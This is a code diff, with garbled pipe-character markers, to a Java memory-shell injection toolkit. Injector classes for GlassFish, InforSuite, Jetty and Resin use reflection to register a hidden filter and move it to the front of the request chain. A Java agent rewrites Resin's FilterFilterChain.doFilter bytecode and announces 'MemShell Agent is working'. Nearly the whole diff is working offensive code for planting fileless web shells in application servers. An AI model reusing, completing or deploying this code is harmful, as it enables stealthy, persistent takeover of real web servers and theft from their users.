@@ -151,16 +145,19 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
Constructor<?>[] constructors;
|
||||||
try {
|
try {
|
||||||
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// tomcat v5
|
// tomcat v5
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
}
|
}
|
||||||
|
try {
|
||||||
// addFilterMapFirst
|
// v7.0.0 以上
|
||||||
List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null);
|
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||||
filterMaps.add(0, filterMap);
|
} catch (Exception e) {
|
||||||
|
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||||
|
}
|
||||||
|
|
||||||
Constructor filterConfigConstructor;
|
Constructor filterConfigConstructor;
|
||||||
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
|
||||||
@@ -231,39 +228,21 @@ public class GlassFishFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
public static Object getFieldValue(Object obj, String name) throws Exception {
|
||||||
for (Class<?> clazz = obj.getClass();
|
Class<?> clazz = obj.getClass();
|
||||||
clazz != Object.class;
|
while (clazz != Object.class) {
|
||||||
clazz = clazz.getSuperclass()) {
|
|
||||||
try {
|
try {
|
||||||
return clazz.getDeclaredField(name);
|
Field field = clazz.getDeclaredField(name);
|
||||||
} catch (NoSuchFieldException ignored) {
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException var5) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
|
||||||
try {
|
|
||||||
Field field = getField(obj, name);
|
|
||||||
field.setAccessible(true);
|
|
||||||
return field.get(obj);
|
|
||||||
} catch (NoSuchFieldException ignored) {
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
|
||||||
Field field = getField(obj, fieldName);
|
|
||||||
field.setAccessible(true);
|
|
||||||
field.set(obj, value);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private String getErrorMessage(Throwable throwable) {
|
private String getErrorMessage(Throwable throwable) {
|
||||||
PrintStream printStream = null;
|
PrintStream printStream = null;
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ public class GlassFishValveInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
|
|||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Array;
|
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
import java.util.logging.Logger;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -41,7 +41,7 @@ public class InforSuiteFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -95,7 +95,7 @@ public class InforSuiteFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -128,28 +128,17 @@ public class InforSuiteFilterInjector {
|
|||||||
}
|
}
|
||||||
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
|
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||||
Object filterMap = filterMapClass.newInstance();
|
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
|
|
||||||
// addFilterMapFirst
|
|
||||||
try {
|
try {
|
||||||
Object filterMaps = getFieldValue(context, "filterMaps");
|
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||||
if (filterMaps instanceof List) {
|
|
||||||
// InforSuite9
|
|
||||||
((List<Object>) filterMaps).add(0, filterMap);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
// InforSuite10
|
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||||
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
|
|
||||||
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
|
|
||||||
results[0] = filterMap;
|
|
||||||
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
|
|
||||||
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||||
@@ -203,54 +192,52 @@ public class InforSuiteFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
|
||||||
for (Class<?> clazz = obj.getClass();
|
Field field = getField(obj, fieldName);
|
||||||
clazz != Object.class;
|
|
||||||
clazz = clazz.getSuperclass()) {
|
|
||||||
try {
|
|
||||||
return clazz.getDeclaredField(name);
|
|
||||||
} catch (NoSuchFieldException ignored) {
|
|
||||||
|
|
||||||
}
|
|
||||||
}
|
|
||||||
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
|
||||||
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
|
||||||
Field field = getField(obj, name);
|
|
||||||
field.setAccessible(true);
|
field.setAccessible(true);
|
||||||
return field.get(obj);
|
return field.get(obj);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
|
||||||
Field field = getField(obj, fieldName);
|
|
||||||
field.setAccessible(true);
|
|
||||||
field.set(obj, value);
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = obj.getClass();
|
||||||
Method method = null;
|
while (clazz != null) {
|
||||||
while (clazz != null && method == null) {
|
|
||||||
try {
|
try {
|
||||||
if (paramClazz == null) {
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
field.setAccessible(true);
|
||||||
} else {
|
return field;
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} catch (NoSuchFieldException e) {
|
||||||
}
|
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (method == null) {
|
throw new NoSuchFieldException(fieldName);
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
|
try {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -5,7 +5,9 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
|
import java.util.ArrayList;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -42,7 +44,7 @@ public class JettyFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -84,55 +86,70 @@ public class JettyFilterInjector {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
String[][] filterHolderClassNames = new String[][]{
|
String[] classNames = new String[]{
|
||||||
new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
|
"org.eclipse.jetty.servlet.FilterHolder",
|
||||||
new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
|
"org.eclipse.jetty.ee8.servlet.FilterHolder",
|
||||||
new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
|
"org.eclipse.jetty.ee9.servlet.FilterHolder",
|
||||||
new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
|
"org.eclipse.jetty.ee10.servlet.FilterHolder",
|
||||||
new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
|
"org.eclipse.jetty.ee11.servlet.FilterHolder",
|
||||||
new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
|
"org.mortbay.jetty.servlet.FilterHolder",
|
||||||
};
|
};
|
||||||
|
|
||||||
Class<?> filterHolderClass = null;
|
Class<?> filterHolderClass = null;
|
||||||
Class<?> filterMappingClass = null;
|
|
||||||
|
|
||||||
for (String[] classNames : filterHolderClassNames) {
|
for (String className : classNames) {
|
||||||
try {
|
try {
|
||||||
filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
|
filterHolderClass = context.getClass().getClassLoader().loadClass(className);
|
||||||
filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
|
|
||||||
} catch (ClassNotFoundException ignored) {
|
} catch (ClassNotFoundException ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (filterHolderClass == null || filterMappingClass == null) {
|
if (filterHolderClass == null) {
|
||||||
throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
|
throw new ClassNotFoundException("FilterHodler");
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
|
||||||
Object filterHolder = constructor.newInstance(filter.getClass());
|
Object filterHolder = constructor.newInstance(filter.getClass());
|
||||||
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
|
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
|
||||||
invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
|
moveFilterToFirst(servletHandler);
|
||||||
|
|
||||||
Object filterMapping = filterMappingClass.getConstructor().newInstance();
|
|
||||||
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
|
||||||
invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
|
||||||
invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
|
|
||||||
|
|
||||||
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
|
|
||||||
Object[] newMappings = null;
|
|
||||||
if (mappings == null || Array.getLength(mappings) == 0) {
|
|
||||||
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
|
|
||||||
} else {
|
|
||||||
int length = Array.getLength(mappings);
|
|
||||||
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
|
|
||||||
System.arraycopy(mappings, 0, newMappings, 1, length);
|
|
||||||
}
|
|
||||||
newMappings[0] = filterMapping;
|
|
||||||
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
|
|
||||||
invokeMethod(servletHandler, "invalidateChainsCache");
|
invokeMethod(servletHandler, "invalidateChainsCache");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private void moveFilterToFirst(Object servletHandler) throws Exception {
|
||||||
|
Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
|
||||||
|
ArrayList<Object> reorderedFilters = new ArrayList<Object>();
|
||||||
|
int filterLength;
|
||||||
|
|
||||||
|
if (filterMaps.getClass().isArray()) {
|
||||||
|
filterLength = Array.getLength(filterMaps);
|
||||||
|
for (int i = 0; i < filterLength; i++) {
|
||||||
|
Object filter = Array.get(filterMaps, i);
|
||||||
|
String filterName = (String) getFieldValue(filter, "_filterName");
|
||||||
|
if (filterName.equals(getClassName())) {
|
||||||
|
reorderedFilters.add(0, filter);
|
||||||
|
} else {
|
||||||
|
reorderedFilters.add(filter);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (int i = 0; i < filterLength; i++) {
|
||||||
|
Array.set(filterMaps, i, reorderedFilters.get(i));
|
||||||
|
}
|
||||||
|
} else if (filterMaps instanceof ArrayList) {
|
||||||
|
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
|
||||||
|
for (Object filter : filterList) {
|
||||||
|
String filterName = (String) getFieldValue(filter, "_filterName");
|
||||||
|
if (filterName.equals(getClassName())) {
|
||||||
|
reorderedFilters.add(0, filter);
|
||||||
|
} else {
|
||||||
|
reorderedFilters.add(filter);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
filterList.clear();
|
||||||
|
filterList.addAll(reorderedFilters);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String toString() {
|
public String toString() {
|
||||||
return msg;
|
return msg;
|
||||||
|
|||||||
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.EventListener;
|
import java.util.*;
|
||||||
import java.util.HashSet;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -32,7 +29,7 @@ public class JettyListenerInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -5,7 +5,9 @@ import java.io.ByteArrayOutputStream;
|
|||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.*;
|
import java.lang.reflect.*;
|
||||||
|
import java.util.ArrayList;
|
||||||
import java.util.HashSet;
|
import java.util.HashSet;
|
||||||
|
import java.util.List;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
@@ -40,7 +42,7 @@ public class JettyServletInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
|
|||||||
@@ -14,11 +14,9 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @since 2025/3/26
|
* @since 2025/3/26
|
||||||
*/
|
*/
|
||||||
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "com/caucho/server/dispatch/FilterFilterChain";
|
||||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
private static final String[] TARGET_CLASSES = new String[]{
|
|
||||||
"com/caucho/server/http/FilterChainFilter",
|
|
||||||
"com/caucho/server/dispatch/FilterFilterChain",
|
|
||||||
};
|
|
||||||
public static String getClassName() {
|
public static String getClassName() {
|
||||||
return "{{advisorName}}";
|
return "{{advisorName}}";
|
||||||
}
|
}
|
||||||
@@ -40,10 +38,8 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
|
inst.addTransformer(new ResinFilterChainAgentInjector(), true);
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
for (String targetClass : TARGET_CLASSES) {
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
if (targetClass.replace("/", ".").equals(name)) {
|
inst.retransformClasses(allLoadedClass);
|
||||||
inst.retransformClasses(allLoadedClass);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -52,24 +48,22 @@ public class ResinFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
for (String targetClass : TARGET_CLASSES) {
|
if (TARGET_CLASS.equals(className)) {
|
||||||
if (className.equals(targetClass)) {
|
defineTargetClass(loader);
|
||||||
defineTargetClass(loader);
|
try {
|
||||||
try {
|
ClassReader cr = new ClassReader(bytes);
|
||||||
ClassReader cr = new ClassReader(bytes);
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
@Override
|
||||||
@Override
|
protected ClassLoader getClassLoader() {
|
||||||
protected ClassLoader getClassLoader() {
|
return loader;
|
||||||
return loader;
|
}
|
||||||
}
|
};
|
||||||
};
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
||||||
System.out.println("MemShell Agent is working at " + targetClass.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
return cw.toByteArray();
|
||||||
return cw.toByteArray();
|
} catch (Exception e) {
|
||||||
} catch (Exception e) {
|
e.printStackTrace();
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return bytes;
|
return bytes;
|
||||||
|
|||||||
@@ -6,10 +6,7 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.HashSet;
|
import java.util.*;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -42,7 +39,7 @@ public class ResinFilterInjector {
|
|||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts == null || contexts.isEmpty()) {
|
if (contexts == null) {
|
||||||
msg += "context not found";
|
msg += "context not found";
|
||||||
} else {
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
@@ -139,11 +136,6 @@ public class ResinFilterInjector {
|
|||||||
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(urlPattern, "init", null, null);
|
invokeMethod(urlPattern, "init", null, null);
|
||||||
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||||
|
|
||||||
List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
|
|
||||||
filterMappings.remove(filterMappingImpl);
|
|
||||||
filterMappings.add(0, filterMappingImpl);
|
|
||||||
|
|
||||||
invokeMethod(context, "clearCache", null, null);
|
invokeMethod(context, "clearCache", null, null);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -201,25 +193,30 @@ public class ResinFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
try {
|
||||||
Method method = null;
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
while (clazz != null && method == null) {
|
Method method = null;
|
||||||
try {
|
while (clazz != null && method == null) {
|
||||||
if (paramClazz == null) {
|
try {
|
||||||
method = clazz.getDeclaredMethod(methodName);
|
if (paramClazz == null) {
|
||||||
} else {
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
} catch (NoSuchMethodException e) {
|
|
||||||
clazz = clazz.getSuperclass();
|
|
||||||
}
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
if (method == null) {
|
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
|
||||||
}
|
|
||||||
method.setAccessible(true);
|
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,6 +6,7 @@ import java.io.IOException;
|
|||||||
